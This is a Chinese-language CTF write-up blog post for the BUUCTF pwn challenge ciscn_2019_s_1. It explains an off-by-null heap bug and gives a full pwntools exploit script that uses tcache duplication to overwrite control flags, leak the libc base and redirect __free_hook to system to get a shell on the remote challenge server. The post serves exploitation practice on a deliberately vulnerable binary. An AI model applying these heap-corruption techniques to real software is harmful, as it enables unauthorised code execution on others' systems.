BUU-ciscn_2019_s_1

复习下 off-by-null

漏洞点

  • edit 中存在 off-by-null,但是 edit 功能受到次数限制
  • show 功能但是需要 key2 > 0 才能用
  • 限制 editshow 功能的 key1 key2 相邻,可以同时改掉

思路

  • 一次 off-by-null 构造出两个可以 uaf 的堆块
  • 利用 tcache dupkey1 key2 都改掉,这样就可以多次调用 edit 并开启 show 功能
  • 利用 show 获得 libc 基址
  • 再次 tcache dup 劫持 __free_hooksystem (因为第一次 tcache dup 已经把对应大小的 tcache 链表打炸了所以第二次换了个大小)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#coding:utf8

from pwn import *
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']

#r = process("./ciscn_s_1")
r = remote("node4.buuoj.cn",27352)
libc = ELF("./libc-2.27.so")

def add(idx,size,content):
r.sendlineafter("4.show\n","1")
r.sendlineafter("index:\n",str(idx))
r.sendafter("size:\n",str(size))
r.recvuntil("gift: ")
heap_addr = r.recvuntil("\n")
r.sendafter("content:\n",content)
return heap_addr

def show(index):
r.sendlineafter("4.show\n","4")
r.sendlineafter("index:",str(index))

def delete(index):
r.sendlineafter("4.show\n","2")
r.sendlineafter("index:",str(index))

def edit(index,content):
r.sendlineafter("4.show\n","3")
r.sendlineafter("index:",str(index))
r.sendafter("content:\n",content)

key2_addr = 0x6022B8
# chunk overlapping 改 key1 key2
for i in range(7):
add(i,0xf8,"a")

add(7,0xf8,'0')
add(8,0xf8,'1')
add(9,0xa8,'2')
add(10,0xf8,'3')
add(11,0xf8,'/bin/sh\x00')

for i in range(8):
delete(i)

payload = 'a'*0xa0+p64(0x2b0) #前面堆块大小之和
edit(9,payload)
delete(10)
for i in range(7):
add(i,0xf8,"a")

add(12,0xf8,'a')
add(13,0xf8,'5')
delete(13)
delete(8)
add(14,0xf8,p64(key2_addr))
add(15,0xf8,'6')
add(16,0xf8,p32(1)+p32(0x200))

# off-by-null double free
show(12)
r.recvuntil("\n")
malloc_hook = u64(r.recvuntil("\n").strip("\n").ljust(8,"\x00"))-0x421-0x10
lbase = malloc_hook-libc.sym["__malloc_hook"]
free_hook = lbase+libc.sym["__free_hook"]
system_addr = lbase+libc.sym["system"]
log.success("libc_base: "+hex(lbase))
#gdb.attach(proc.pidof(r)[0])

add(17,0xa8,'1')
delete(17)
delete(9)
add(18,0xa8,p64(free_hook))
add(19,0xa8,'junk')
add(20,0xa8,p64(system_addr))
delete(11)

r.interactive()
作者

0wl

发布于

2022-04-05

更新于

2022-04-05

许可协议

评论